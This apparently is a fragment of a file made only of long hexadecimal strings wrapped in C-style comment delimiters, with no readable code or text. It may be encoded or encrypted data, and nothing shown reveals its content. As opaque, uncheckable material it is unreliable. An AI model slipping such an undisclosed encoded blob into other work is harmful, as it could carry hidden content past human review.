b7c71f511ae9c0a3ac40977087a4406d8c064858688f6b7202e652b594f3f82f67e766e5a863ace5e51fa9d567d3c51c2910d1b650ab3a6828288962df5b60bab8c5a0c8d6a3c9acd52931e75885563352345d5e567d3a9df0120c67fbd8681dc9e8d672173fbc1974c26d80e44965197d44f8bc42b00acd08ecfc890156733f2dc5f2becac8ae768e7c35bfa5c82f40f18862414109fec6ba0b106e79cbc9e0e2aaf6378ab5054820a84ffd1c28bee0885c75e6f4cc769a4f8508f3a0b48612fa23f38c20a419cea46b7aa10181730bcbf21db0853299e0a1e679870af98497ec5ea7a9ce12bedfe843770b41f726630471d4553b438d74ff9e458fb6815dbf89ce0769dbf899780583a17432f8762f2d68bb219078b345212ae8c0abc40b72c054f547b3a413b6811279855235bac0926747ac4ee3ccb9b5d38ed59c0ba92c9ad80d8de7848d5ce9e6a8f27f66901be172021f64c6a2cfd8e3949b19fc083044d2d2910f449e2998d719b56bd5e4da994497200e86c73c9f7876a72c7c2e1808b6b876420083bdc614917a5b55f3548e07ced72d46d46660229a45d11d4642c6efdd4b361e0b32ee90c42713f09e3a57a40d8cfccc0650c0e1f2e877b28bddef1ba2163159278a9151453c7645677f9b5d05256898534c4d65e9f8e87587aa8c1eea3501d34dd85092db0b8775d6f391558e9b9cc63879b1844a93ff6f143f934e72b173f9a18aad7f1c9d59aeb6edd93c4ea37cbc838d1f2436205e76bdbebd79998c859804ed7ddac7ef8d6fb65dcd529d1bebb6c356475aad5c6f7622b3544b63e86af835d1c10ee85e8e3b270b5b5950d6bb57553ed8f0e5591921cb0dec14afffbe552871f90031e08881cbccd9b6a2cddbaaf54bccba71afb15abded9f159b47d20a88e37cc598be8e37b5339104013519f1df95a58bafae307977678b8aac90c0402eab760a84be88d0509f291aa9424cc6656da559d91ef3c194813d87ecf1fe2295c5fc2143fa509fa0d1deb410d571634d60c245a2d75eb8aee61888986e77e76322f8c1f490875f1264f70f74903423420ee2c55d7d8dfa369425074d42c037d5f048bbadd9c45c7b713537a80bb2e65b7b20ad485623b1b698b86a4d27eb36848e5dcf34110bbfd45cf2c81725a6b809aab5e9b12d22df29c63baf7ddd49f53a689884255155e280ea2e9f8605a35fdc7652b79a3a1637d880e26efd92f27413b02e5c5f2d420f3d43aefaf6e67ba7f0cbc9fddcfdb0bdf89ec70ba1087cf30be5bf597c949f52c846c1eb1b6f61d0513caf1f7b309cc362121d5f0dcffb8566007c1c7d3184c924b9539a8897af8061f298c62d9bb0b36073adb711e8f674b6bf8f5064bd18f8cf25b261969902c86f2b188419c55c0b887efca7a7abb87f4b962b014a222e56454b5b2fe5c232e2dc9d94569e5db4fd81c812af335ec4359ccf8687b2c574f833bbfea9f038a1a7804b703df3aec443510231e7a56b6e45ca00746eed6bb0f5a332135f6e7d4c2d69a09c8ac574a673168356fd1fbfe45bf75ad96cda76ca85993f1e6af784ac91ab00795fd22d170314cf8917a4e2221b45bfb52ed488945d00979e96eaa962254a312950051ae9aec44168b8a7bb8b8d5bd823e5f1b7c688ceb6595fe6b3a6fa10760e43de1dea4c2766276c45b5e3d4094aa6138d3dd1e8ee5a7803474a515419786fd91bc4640f89d1e02a494e785c5315c7c8845ee47407c16984c2d331d69dc4f15c99dabfa3a7208201c8fa94cf51a012944c28a5c34dc9aff3df5f90df172fc244caaba0b8efe29fe339f8b79356ee469a46f65e75d392352123a85210f98a2ba4828a6975032420e5d804eed711500b23ed2832ab9f118beb9c0a898839a10a79558fa4ab5d4528f669fb7f0db400c8e9d4b49e1dec6a8c7f08064315bc164b8f1fec64726061b999850094eb7e34fef65cbf03464958f51866575d2fe3cc692fdcc20473ec8789aedd8d2921aae49414ce945b3f274552427519344db2bc97ccf008c94c27f68fc1773706733ae95e848bddbbfadcded26bd6f1b21056adcd82ce62de41792dcf47501d314ecdb67114366bfe7dc808c9f776f1ee3ff64e942e09084ab723f3463696680f61e6e996be71e3e57715c6b8127c109a6b2d007016fd3eac092*/
/*83f11c788d38c2c3d982dcf2acc64a3eaa5d7c8ce96f2bf2f2ff6c8eee82a85be2e26dfad126c1e52cfacfd0fc9658c1e7b07ba20b8c25c4bf40ad8345b5a6a4d618b4e4db8f740ec2274058ed2b8138b932fdc5bab9e8db8113f7c64d45223c91f888187e5eba18a0ccd885d2632355f90a1177c5b94eb8cd50b767957d92d518041b8af5a5c5133345d27b384ea38523e0222803b0d1062d00d58e62073f7c2d79791c92e3e1c818f72f710f7361abdfb856cbd256dea952eaa1bc86642249dc09ca745bb6f47786bb1a7ea7ddbe1b8e9a6e87636739a02b545ca05ce46b0731e1976c8a9f7c32f110887e5c676051efbee046215a015a2648d0c4e490906764638534084cba79cca599fecf963895196c7da416be6bc5f983271ca3eb565c9abf7b0e1a0085263aa799ded94169fc2b3d931cf931edc4f719b5a118d362d84e5fc6a76dce5ebbf96c8aa221e9080493b65293f5936757d8687c6ae20e4ddd6e502521141257fe61c5a53aced172788d6e5d233eb21914f088f83f01fe87f293a88a934dd17893db50a6157b4986f3485b7eca9feb06be15fe6688ce96d5abd10f12b4617cd9622f6584439e1bd472a47bee658033066b6d6a182a587a1fba88ddbde8b43cbc8b371c1fe3e2e7db156de3c3075f74c06f1400110762d5073734c0d484e18fb808d6c731f9186a3410f11b7cb00351584739769bcb585496afc42b2d04652a7d4a694ff864372331bf49e240fd6be65ac5a6deefc79bad068a31dda048151f09edf0429f24ab82ad59ddf9f0a7b0b2d13af36162e2bf37274c520c3ec44548c7912f63dcc3deaf798469cc648a48f7c82cfe3e77b1507c0ddd616c8b2f09b2ac81381bc7fbd886a6823eda4ec7016ad9a93702c90c102ceb1d7beacd3ec00f69446581ea38ca58a01b584cd0600239e95c68c98e5dc6adc643d87999a8da2f1d25dbdd5fa9eb5a297a73ebf85beb386a9b646722ac5159f234230bf770514ab983c07986ee08939ff63d90b7b513503b2ebb620848cfa8a6240570db729ff463d390f3f4b5974bfc46a9398ca01e4ae6803ff208abfae8bc8b7375c15ec50ee87d91100057ab44fcfa90a27e2998a2f020baf06062ffccfb63a28311a7a3efc1b084f3a532798e3a420f4de11b479d00a2b363ca8eb3fe8831b2753b54b3271bbe3cf4662d3dcfc3dab796f5a2fe9c07e2eb17a2c086501a855992253a90ca66a77078fa8de5e57da41441a1076f28998b36212869cf96da77b1c2238259ddd7ea1f07b3d8976cb9c4427b6d076eed2161581edf205aa6dd2e8b021702d4ebe4bd8f0f5fdb0f893f98eb24131f7fd03ebf39c32875f59473df71eed0d506dfcb091bc2831cd029581a549bf6df4d69ae230579b10c5d2e6e1f12c4d7d06177a4274e4ae3c00b569eb8f724b7d8d2449c09aaa957b077ef6f3f9ddb129f8ed5c763f3e045e94410e162070ffd63d5439d2ffd769d1809d52d109d8c5d52ca2bcd87cdc5d3700978de324d1c0d62cf8d253f8863005971fdf628e0aa5ccf2d5b944409586121f2e47667669893f829b0d4a78577fd5f9955f30de1c297256b274257eb0b0fb97edeca11ef00c3410c4bd4211200ba7e76ac3b45b649b7fdbda03883cd3b1cd9bb095fbeae5c7cac1860233480260acf9641bc326cc6498237d9a4d8359aff10de6da65aeab351b0419dee6e5843619f500da10ad3325ce934337c3e4002200059a6d9afa998cee84bad4146167825a16274cb096095cdec2b09ff83e52a591502c1356ad165471cbd3ca4a16c5db38fecabe653c6f0f1d16aa098bf3d635cec5ace758ded94471dd42304cde8c76894a2d4cb28749c35319904a1ff40c3d5d181a0758c40092498854a0d2de8a47096af9c866ee05847db8aa90cd98fc0519c17cfe0045363299846a7da2e66316dad5ed395c7081dbadef8d1fa91b8e2ac29eaf11cf8aa4b5856deeee5d102158e42a1f3530d629806f9d75fd52bbedbcf44aa850779795900b712852bbb76b11d7df4642ab63a75729298595b4aad16d4d8fef026c9ddecd90764a73c1483435b3673abf363d2a5db20bfffb4a5af8a07c74aa16ddc0c81ea5eb6d9a315126f464582e80c64151a7359ec892374093942c4a3c3769ef5a49941098476b6d6cb8927752aaffff3de20cc78ba702a5c33c8aebf9239a5b17e528e4045c971afc4b5eb4e15a13688f5ed1d382cc4620a4a82cc447d7921c2a91120fe5e46620b649970f24d31abef043e52d9d6329787b853045167d13605967f3c5cdc9d4d5bafad2f8ea9a334603b94d62a19ac04f8554f40cf86f89e86d481e7ac47f8926611041532ba2033a26fecdc7da1d7e5b680e8bcc53fe4a60ab67e722a29386b5ca4d5fff9fba320d6c564cd38b9194b8ca38d8dabf998440caef8ea4b43daeeefdcd075a830860ba581038f64f1926e99a31429f2df9efd6483ac9b70d19d94c90e9fa09c763a2fd3f86fd506485483bedc89dacd3d5bf0ca9d83749c5b29462e04fc06f504de205c2ddccfc1480208cc9beb7c9be4c2425d0044e9f583ccc76aa1624e554145d728498ed3c15dc0b3d17ddd7e5da0c3f770c4e92e2befd79877cab9634e41ff25c92d1f85098c956686b01a7dde77e95c2482b54b1f0dd0bab225605a4b23dd773d129ef3320ecc0c03778ccf67561d0fadea168fa6fc3d1add09e5ecfb38b51c4f70f98a3079b5b8eb9fb1456a3ca2d4d737407c68d9e4ff7d2d9348985c26e8b04bc08f45c7e534f34a5e6bccc10d1a88589af3402b34060682e62f14aad5a74ee0fe8c6c616e68ddaa22656e3ad694*/
/*fcb766a0213e3019b6c5d69c416aae8c4876fd8f441b1320de230f1a92fa18fe2c39ea76e2bd84dfba44c53498dfaca169b940894d69beb3e832bab7c97da051d8bb773c8ea548a6dd571ab1a64b478338f8c65bdbe947b375af812ce4dc09daf2afc18bbaff7635a8b681b8dd695c96268d25e18b3a60648560928120119311850d579470090b6904aa928938be0488a4b2a20e149f4f319d04872adf98ebea119c71a742605682bbf729ddcf714d2fac2d8e289fefa6a8bdb960cb636ed718d45c662da58b82e3e8c7c63b325c73ef3c7ed4db0caeb123ce66462f072305ee228fe3361609d1d0fa4b312ca982c28954f18a58f1c509c760132e649858cccb86abcf4c17008bcfd23f0773951b2b036a93b8e334e91511f48de4a54e1ce07c0072586beac2b239a766447abd960d0b58e78161eb174b424173d93457442b11fe0be7dfdcb5ad98e2a2bb3b35ceed3d7bf03ac0ce1d1c759c8af49c133aab4b4209711e5b7bf093192881f628c465aae338736bcd834e3744a3d93841d8ce133a1bf75b0012758fd6bb7629179d46a652ac6666b50d616eae6dda00a1b1d8b29add94ed66e980cad40fe81dfba6b0248f05baad480b17ecaac38479761ecaa76de8f0dd43ffd6792ec293302c83b340ba35d00ce33492d65039aaf358b3513a824aaa1a138c37bd241d854781c03081f3b6efd3a529bb2c3e93ed025f8aa7039dbc204f33d1d79b617d7e6a93bf0ef5fb572f18ff7296853ca953510e051595b6aa839ddd2ff879b094b6896b9017651e20c0515e9ba6c081273c6f129338a6030f59af1b79ae70a20df36c6f0905dd3a5b4086489ba9659527356ca9e0dbdd523c6d694faa293515d082875c83107ea7cc11fef226be15ce9e7b03d6d4eb41ab8a901014821729c079ecb4c02b80d4bd54a46c13f5c8d438922064ea0cc576b201fb821eaf04b60ac224422132254476c8d2aa991545cb70d6e294cc206bb53fa5ab7e400cf5bac7dc7d003f49a8f8e728a64634061e06ba07ac9c608ac353e0588b9ff2a8b91f4fee8ea9d3015dece2fe21b33479dbd0d27db122d461ea6b9fd62b89f25ab3925bff76dbb32ffd901e8be109b114b3f442262bae22da6dfc6598c39468cb94237fac5e8691a0ccf9ac0f4437a234e4f5f01f621b2e6b167bac35eb27e5844d7a6262017a5d7666da72229500d770ee408f576cded52e9e23a6224f35678a7a6e58c1a1fa0aed1ee0c83284a32eed5f9657fbbf323ea4f501044532feb19549d2b869925ba522497f185a34aa71de9be6a07f28852d95eb14605d5f33873f590b727c4ae51b7d45902432058641e6cc0c497d61ed0ea1c2418684b64a12ca36f75dd1a5668b1e5ed65c889725137929691dc51a3994f4b1882e3f92654f377826cc7b1f96e4de51ff9fa96b796d3c5bb1fe787c0206d88a930dcdf26b4b2e1b4b3433ce0ed53028806de18858dda48fb005d8c396319cf008a1c1fb7a0cdd5342facb0cb4e22811550be67393231b20d4910bc544c73cb6f3b9a4df694c5835d41feada07f4dab38be577c71456cd1be64e19d2900a8077e5eca496024120e1b88e15af88d30cf85229a8cab63553065d728cbf1bf1c2e46e999df11b880fbb04c12362255463a9e5b81aeb3baffd520b22fd681f3ebae175eccd55cafec0e7232bf9d0412f5108d14b567159d24b609f11af41517cea01a8744ac64a545db48e80a3c5369627a4fc7922e0edb93f2d721e49af61198fde8a1634a5b975cf49b784042568ff32631c5e7c1df5cd2a45778118a7248192b7ec10b1d1149e0664676633c9423d6d26e63fb80702c4bfe391debcda903bef5ae09ad00252554fbd527bf47c100f7509bbb812ec24b4abeea9a7162ca0800c58f8d9049878c83b0a5bb7cd8189e93d815aab62ddab137b46bbfa3bbc65d64c0917b1a4c5c66f089826a99881cb85921f98c731404b3c6dbe65e491192858bd02c4e1fb34c198a19e23439706443b32040b1120cbbddb6eb9a2116cd20a397ddf1ed5b8d3eb51a37310789eda765c48a25534c40393777098e8652f69d898f14563e3471d25db414b20f301193c497a8ca3027fb62a601542f7f7bbba2aeea9fec788b65ed0812a0962bd549d61cf3269955839a61aee15e9d7c8948c7b3fa88357740b3d7ecdcb69f7739a1f396ed8d0c2993f414ef9d237b437c306d56a09a132fac9840512015524180ff37bce5b669c695471e61687e478db5a9779c7487e5a9e8620d49e6d09b85f4930b151ad7f31cc0708d6531aab97f8688683b9e64b0bbc8dc4c76c78f30554553433e88a8d1d861cba06677b04262f32a1cfe1e4bb41882ac3f11c13e5fa0120cb86256f857635ef2f88e7614faea2a2415e0bdfae11c21332a17fc8d7fb20cd1806fca804c9c1cb16d8329645fb386d44c76bdefb110fc5d21a973d7a389b2e861110367c7ec059348cb49f35acf00caf7d5f98044fec6d5d444e697c2ad39c9792b4ed4b278d044069ca436e056520993c6b9e6eb6c91df1b3796f9a8dacb17c58cf3be4026e0e8849984c6e9d35c516b35dc91d10bc0711ac6ed69e8e92426b1be7251668b249e492447e0cda4d2ca5b8c7975101f4650e5fc94a12f20922e8d21603a3f356417cadb9848adbb4c1c425d91055db5ab71cd9c8fbf399a3fcd47672f7ac9ae4adfa1a0745d1d23bf328280d2cbc923d34c80d5e28941a24fbf47c2d2f8e4072c319c70d889c8388f75cd95385faa3913acdf7fff9fbd448c54ac60a4441a04d6c58c676c2036f1b92e04349417b90ec25cc19ff7e76ad5d9db15bb0daf580*/
/*00925a9f0ed478c7d0b400171de05d0921cf56955795e745b09a5c994961befa2dc0ceae8854269979936ab71f246112c479737fbc7761a8e284a173d7410fbfc0fa2e2bc058e021b4e9f43f9cb018b333c00a319952be920c682db910fde765e3efdb42e6473fb858c6ada8e7658819f650c3ed01ff1c398c232d543e0850b05a3a57e0031b522fba7a0cd51c8907d442a60a1d38ca65e5df0ab3c86295782cddc80487c2837af77918d297216d78d7595e5e3b012a65f43e6248b1b4d722def2b5bda362a6ccc4ec6ac18cbc91584f3867b5df8d0d406134c9777fb5e78d1b2f3715a887307e05393963341e0e4b4e3ea063b131fcf851da2f34a059a617a000f8efd863844f6de5cd4964ff7245557d97f41f077294b95a7cf1be8297dddd568e316cfd3486e5c27cb73c8d7e84edd2e3e7f3ed38ec6340b9a64bb5a644a314b3e824896fd161460eea00a445ab11501b236d9cebf10a0c8b7376fbda2fbdaa8ca1afd8fd30e0b07451a781300bdc8512dc3a542434201f1ad9d139abc1c8a47157b702a60a9e6b63a3dab2514b6c719a93bfb1f937f72574a294334dd5f5ea4408fe2afdb7d594bd077da36ff16f9e435c8dc595ab190de79b767534db3687ba87be0f8f7719b9f5639f13a221e020622ade02f055ebc4d7085f54827314ca8ddbfbe47f50d00533b81b6e9831c88fb12d6d0e327b80682b8bd77a054e05b4d5ce32ba6bf139708032e40bab695f097029ba47731891a7da3e9ce613874b4fbed9bc5655f229463e2827f887d27209b0ac4b55a458055aabe9eeb1a39f5c179e29486a93c08b69885b84849d935bdaf2b78955d9d6e4471dd0046371db40bef3a5d378a23ca8210cc04ba9607a3935667765216dd6b7b0e2b0a8954166b705d8b7c89694f3bf499a0152ad92bccc35593ba20ef0e56ca40232c545da0df93e5bd4c67c91fc01abc17304417aecf32acfbc2bd1dd3d6ac351841c248c7b8f7dc7dfb40cf0d3ce7461f11acba314068e1e96518893e641fd2f9d173a12fac095d4299ffbc8b1ccac30c0561e3b4521c1845fed1951b830e2cd1768c29bb4897c710f2fe6efee7b87addada91a064513bb7e7263650be0bd3ecab8802b5ee83e93a1f080a512e75c9d5e99dd4b8c81dd7ea0e234f993d7ed21fc1394f5ffa7d27bc173f18d86a53e080ab1acd47f063e4a43230c5546c98be3a11baf2a976cc734a7f4ac11f001db89b103c77d4b76375446495b58c253752dfec6d0b8c99ab2064172ca6651b736ceaec43538d9a66c10e3b90fa6f180d23751a16b4b9771e39c773308e038223eb8d1045df0723724fdbe5b9e1c2cb78b1825970109f549fd0878944e0bf434586c540943ac28fb4116ebd2f81f0675c6ef89312b29cb5162d54ba0aff5ce223d6ba406ecd091ea5e933ff751517042cdf23917960aaaecce0ca7803a34fce6b1f51ba11c5d78ab6ca372b8e58d1f290a4f012f94f98f1849e9dd51787395b5d588962c2d8c45732e51e825f46d57a5d09a5e998fbc5f75281c67dea47e0f8110d08febe3ac33748415dbdecbe54d997d121161f25c82163a11ea08a93063c626bbfaa37f06bdb9ca0e1d82545e312ee8d9d31c85b713282a254b1aca5181ded19e9c6aceb75925347a6c053d7c90aa7a765d73d085f758bbda3c4eaaf7e57b459611b1dcc64c6fcdae28b1cf4a9543b3732326e217bcb9d9c85281e0ffaaff74ffbf616caf149f76f1ef297bbac686ed43fe58d7954c53d42f532004917bc40ce7a17d96126da47fa324497c5f7afc51c70053df11f70c96018fa2d29262b11939d035b828711c426eb325533adb094ef7e3350519f97552e8032dff209fc38f20a65b9cf39c9a30b86c1c0271169ad8c72f9a2a13aa5063b3082ce26ea10065290ad989f04ab6438cbf8dcf89870268884f8f137b0af6e619c692c2d2f52b44decd1670f6baff81b6180444e4cbbdff558ea4e6d48724c65b649923fdcab98cf6a14e94c4f599bed42eea2331f15e01b8aed7b16441bcb752530a8bfe8d52ce0139258e052e3947861abf60f6a23ed647da780a207969f40c5d4dfc5fad42f8967a0c3918856f2c2a160230e59238b705b19aa4e8b15d0024916f1ad44d57cb36c5f3c3ea18d2b665d8d4cdafac9c5a56960993753b947006e7c7a1bc2037366f732564beee947c282b330ebd0842049e1de1a2cbee6d479ada02ded5e6f30dfa115e1f73191ff380fc84cd27e59311b9b9890639574ec2fd2e4efb0c3fe6dc95da88810c1e1d7093c18db97278e75756698fa48bf3bd62fdb6f97d29f0b9e3c76d3a511690e1d009c5b5ea43a831c104b3ec7e81f589e6679b277e67b4877c3ec6fbaa3dd0fb3b42ead90764b7713d8e34bae09e634f001592bd797fb428ca3c56ec79e9d0b65b94a89765dec09f8a5148c2b73622c006bfcc9022f727e0c17448aaefb05056f7a52e84bd9952f92724fd88a212f08ab9dca64ae27f9cf586ed78380ab1937f92c5f662e9ddfc35ce5f07c7b2b4ea0d36fa070dae3f6929126b48025fee378518b2db38ed7f8c70a2e3d2fa2c4253887747ba4ea23c19fffbe3d51d71b0abfa0a6f3ff467dd1ab0079c636d83673ac259fac637a2cc312e962f5e5a9b8738d32ccb722d22e27d77639b3577190f4f0dde6cafe8e012e2d3b7cadcba8a2402a2cb5e58cb5fe609937dda2b3d317117808621e984761a111bd9ad59a7b711e9e7e45f75f663aec2da82ccf08b1f2f36c3db28f73302202037880e78ee95c8dadaf9743087dde0f0ca02b6e867c4ab8bc0f3882b5a234c593cad8893d67a3cc5d70*/
/*f4d3318713399c03e11d39e4722ae420556fa2a6c8bb70b2c3ae566bcb3f3e71342389d229233e843ed599def0173b51869e6216a591eb4867779bfb321f77da5a2283dae0718983f1232675a7b112abddad55fc22546785d0def96a988179af3a619fee8ac8462a77ad560f466007e422f0e1d7ce6c65a0a6165e55e9d82c415d6b2ec16d929a8aeb693339c14d87917893dc5a084faeaa428ac90a478ce5128d6932c2f20db08842968ad2676076786cc6c5f5cc0152333ddae1a4625a91fc3ffb014f789e4da3752f39239610bcb2c0c79d3ef55f3f57afce854388676e2bc7348bcb525bc166d1c6dfea95e5d34f3efbdb443c5cf3c5af5e190dc19f0c4f35a92ae443cd0b9b2fd5ccf08f3971f07ab16824445dfa64b2242bf2532ca2b462476851f3dc013a69a0da234f8a13e08aa78329e9a08a9cb7450f36b4eee2b97cfb83a306a48d1f44360d6a598a4039efab4a9edb68eb306dcc681296ebf96a05feea5e03ede51957ef71e004d3cde7776b9abc291d6199bac368d5b524c675bc75d7587a1cdafb6ab74c821965671c9accc3b30b3aacb2d98b7780e6ac2b4caf9d354e7fdb1a482abb45c2a71d491452401d3032c9136b8755e0d167039784d028186309ec996cea4c4ed64e879168f74f3d4bb21c50f741dc56508d433a469bb776f79754dc96c3eddafa63f8caed28b586c04b3562300d301d03a7fe728486eed116b802ae80dd1447ac647d75764bfde4c5bf8235080ac21c386af4484ff00c2268eae182037eeca01663d65cbc1c285d52849d79820e1358b2e737b3e2bf8d10872652f54efc3abacdcb4fa1bde640ab4b724c2df7c1eea4c3761a2700649c8e52bfa776eeb0f8aaa728c2dfd3d3b99949000e0ba6632ddbc2d07787c25563a543c04661ac24e0c75da59fdeddc99cd09aa54a4116930fea384e7d43d075b070a7991463cb26215677b34a67cbfc434244d7cc1a80f42fc15bb6ec483dbd196142d85f509024d29d9b369111c05e7451dd9264eed691c4ec5eec4141b791e2301c4b000f58c0db9d06faa00ab78b43bb2f1cae7d2d4c18cf32fed3a75fead395e873134829ca1f3b47dfed2c7c6cd9c2db647881c7596212247c5cfbc330745ab60d4ddbbfe3d68b273a75efab1fa9236215fa7a1f0374158841c4f00847ac3849dcf7a206f224da278eff58b1a81ee514b885c2c7d8a32cdc23f71c35f0c44d5417da2f36bd12a6517dbd99dffce91639951725da57f1e60f2b93e701408ef3f45c1d28e42ec22409e2b9b6d0368d8f15cd504022bf9a866f15d30c79ae75a9b2f653a014ae47f827cd124e52dcd15519f2ff90349f6277f71d824ecbd0622d7be3567f0aef7de1fc80f5be4ce606f510ffcd46ccffee304206b8fd51fb95443aedd56a9d49a1479e51eea6889695251b0c26bc248aff205e6df216ef650f75d1a79dd775450de2a137c921a103c30df48bdeacc9032b078a2f007aab5b88da660cc26850402d6a4740f40e6234fd4002c7c879d093f8568d82c2907bac16bcdab04b6334e78907bbf0ed156612bbd8313b4b501146bef76e45f174f63a1bf6873d1163fbed92743d65da3d91d6850e2e7b12428f91d8e1705ad52711baa7a68b9c757424f07c43bf4cabbc55077808e84457653269a02a3b90fff9e0641f15c5eb7e35912b8e37471c8eaaec73e884e685a6149c5b696b15ce50749320c71487b7b591b55de4706178aa3bbee5de0255e43c2abe75fa287bdfe706108025006cff81a996a4d21aa8bf722fe47db633e7bcc412e583af36cf0453cf4707e44d2937232c5f78af03dfc512816d09b72020b6dc85ce6aad312e2719f9222937b2d25f0b7a188eabc78a3245b543b0a235ba2fbd7ed3c879d4c75ffaa9fed4b324c117c587afb747570d317762ae6731adb94eaec59e1e70455b21364c332065cab3c9921ba8723c9c6d634682768a42385f8c6170f7a32f346a1303e764769123fff262a75871601cd9500faf2cc9ae437cbfb2e55eb1ee8332b43573dd03a1605b6b19ae5ba1d4e7897de3c9e478b798098f8c7f0202641e4789c7e1ece98be94e152e258d034ace60ae0c9781905da8b11a0adbd61fc265fa347a662a0f8041ee79ba9de9fb986a01300468681b65a031d07aa50dda79a85eb44681b19d71c0972f966952686ceab115639162f17c24f281dccc46ba21dd59e2f83486cfbd72d426ccf602da0535ce79e70f3a82bd7b2da9c26b8bc17af9ac8f4ddc2c94a541196275c4869c41055d92479078f7786d8bfaefe4825836efa785dc4d5facc94c34dfe2fd3abc9683ec9c400596d8793b33f11a75885359b1167591d0738d689243177f38272b87a65840a8bc77c50139a460ff298f9fdc6f38604df5f468f74a04e5262da29c53a467100f7ff4a2bfbdcd0eea86e412fe3e4c401548128f68f4471af765f10522ef72cb3a3b65d7175525465f2983a5151cd09249761dd544f1d1dd309ec60dd5766eecdb964491b922c4bf5f115772ff45feac6bc78900edbc26804c19852d5da4e81642e37de444e692fa84bd316346d3f647cf059d51f0a1419715c5efc1de553ec0cb30dc430cba30979daff214e9cc6e4cf774efcec1d3809ce7230e5302ab7d8507fec4dfa24de9a6d645049b0e0acc6b4722f982fa3fe6ca862ed8ecf064c484ee05d32f9a170a7997b2e85345a0137bdf7e0694bbb8809284a43640067e26fad46d0e23ced2665d40731012600f1332d26c27007683c17f1b22ce0521de2b18dffb8171c5ebeda8da2388142341eb240078a1d40c2a8773ea86d680558007056ffe78*/
/*a6316db0cac5b04ddbd2c38f26fb0e877051157ed6238753939a21172baf10a0f1f26ee0039ca8517b89271f842b88295ca7289c5368f7a4a63ff118a8eecac6d5c5a40cf5ef7120a4cdb29cdb1b455d8bc6fdd9ab76153c3222d3c9e73f06b7ff4dd38553e8c57ff7cf40e5501f6916f789d90ac5df040e9d1b3cfdca2dd2cb23c0b038e97c358b1b6be231b575d58dd124f2cd941a001f455fc640c5cdfd6d281f36df95c0cfeaca7663fc10fe6063d70d27c3d349c06f24ce42bc323ca84ce1ae5c6b31187f500fa7c7e451082add369a31c348e57f52911c5ba31f7ac5d9d440a6e13d617990da8359bfffbd4e897fc86680c80c9699c092685ad86986a0540e60b668df0908d1048d7fd956216a5068f6f4e59e0e93d59ca74a118d28b6878a572713463307ac10c37ec81ddb43fb902b2d726ba9167a9f5d92eec272e37b8c4ecccf05f594776616744ff5f5b677e1b1bfe0cf184a7268f131609aa2323d53cb5d8bffe2ccaa9aaed7670d685f6796193fe4d7f6eeecb8d37c6c956b5a6475b6ab2d8b1092c424d3c3e4cc5a11e6b5cbf2280323d5d49ea7c1d82537e4de0714380c12fb8108f104c6620febf45940651d7cbbebb1e0b5d5ed6990fa7faa5c5a484d0f17765a5d7788648ed634723c522fa1627ca74e3eae858397347fdda67a2a7f7f0090715e9a5b0d4248b4ed5c1ab8c31573f47a2a7d64f720bcdb2f81c42ed4c15456f181ef4efcc2f1c510869899342f616372882a1d18dd901b3dee4e91112501901d8881472ce9d7090e22389841953357f17d9799fa320caf16ca8e5828a37fe3a2a8ece298afc906aa9c3f4c1cb5de7da85ef50f6a520189b32cced610e73f9c167d579f4433f96adf9898ab3b0a25a5a99b923be3a7373905dd2e378e26d19627c4a128397be8812ee192cfef9163873f16a5eb44f8e8b7a2c87e12f41ce4aa5c2888378decb91cb1ef31cdd710d2e7ab2017cc611db08e17da50f6b918665e70b88f0097c296f8106aba5d3e312a9536e82f8ddffcd7ce2346b92f408bc07c75964a413b547c0951ed2587ac1f0d692a21fb10b4245ff9463bd388fc72d3b8a4a21ac17afa0e2ba69bfc1d42459df011b2a7b33d1d8d545690557a9912ffcaf83e8558a9eb386c31e8d35229cbbf027ad44ff86a4091238aa8e24d540d2093cf1bedb5fda336c12b2146404a3e56dbfa0a2308df01cce081947c6a2fbbaf327ba9351ef0b56fa98f0e34e0df325aa51ef0b36677e7877d11d4648be49dda2beb854b064f625b570b73bf4c41a3eb57fe880603848b203232d546c935dca5bdb6f28ba5d2a85cf4399d22dae07ad8c1d76d2523698d65b42aa1a9cbaa3674f8371501fc96c83c5aa20c99a4e8703068da4786ffa5ea950c8ad172fa6e8b0af1e16a49530a8aac2fca794b367348ab3b85d05c45e2172d539e76f196b1b911a2807bb71b258fe31c932231e93aa5744dcd479beaf8c7aaada54955b484e8b36341af8c4ba953fff4ed4b36ff9a8c1b284a2de7f7441b6e3f3f62c10ee3545df4f7e1c78a87cdb6881b65a0e02003816d2c03921921546d39ec67a51e8eff47609ddafb009e331bb74ef72cc1168a229c60cb1aa6bc46d171bf8dad694381a79c8ce2a26beb901b0420a1d36dda4965223aaa1072999563d3143b825f9b62616bb5f27e3de0fe313bcfb0b11f28a684925b720e60d609cdae3aedd3f97f7c1dd280f88d3b262de55b447600dfa2d94d4490a1e429ebb1ea0f9e90a588394b6781e3ed37e9ce3c7c9067f4a05bdd03a5fdb67949da5a1dfccacbe561146ff87aa28175933e2a709c7beca2c81a5712de26bb6a62476624996c8ec99794d9377fd2c5741c111dd5c929adfedf36788658f37afad694a6b0c8dd3f1eef46180cd6b4814fd556d2ae50602874533393c12a8a0468a443f62a328be08b52a43e6c0d5df7664dfa5341dd062f1f1e992ef69aa23a54be33b8805bbc25191aa34b2758f982f67c2c61ebada4201b78150da48e1f9ca29b26b4d3ba1e5c3a799954e670f1645c47841ef3ee82a9bc70b6f2acee2d01d88670ac90e9671c5e94552f3004ca2479c59d6e395e89f1502a8eabbeffc7eb7a0c7a39b33e0bc437735ee2f93e8b5108daf5590a559da1cf56ccd1b3fe25d41f38fd72a89752d9ae05913628116c573a30134d168b7be2655125f9e508f2c7aff894d350731822e5e6205072f7d67cd1cbd9d8fc71d58ab6c515f16b4bf9fbfdc834579063977b856b0a250de65bd4d8911c1359421380bdc54a984c096323d225a28c75ad6b73ed3640c21f837ff06de6f90c32289c38973e3b5ebf86a75f31d5273dc35dfe25cf8737e4e64232a1aeaa430dc342a84f2fb21b2aff4f655ffe691de35fb1bea54a05cb04e95e6d77970001b386c097d0e0ab398c38659bae50044d84b84124612d602848f2065aebe869fb91573fde8b2dc760427c7788d3d7952f7a6700dd477067783d773fda8588030407a32ba8500cedf20f90131a0f5d599603c63a768f34df7dc5764182929511b4038174e4dbb609c1e17a839ac9fa4d2c143afcd84dc973df82870e7190764d87d8fa8f47a0173f0e5f0dae82a52bde29b94f55f2e7d0529bf949e93052322b4b434d7f273edb45a7f80f9a799d59e95f6ff14233bfe1f7843bcd5e5bbed5eb02db61e83d3ef08c3786ece865560f072ed7b37e2ab6d8441d842f44e165a41705186cf541db814322975c845d490f9a1a0bb2bb5c026c08de835ca36edfe2f38688b7abc904fbe38644fedb076434ea03f385a8a32d3f358a8c4900cc92a72e23af9fbe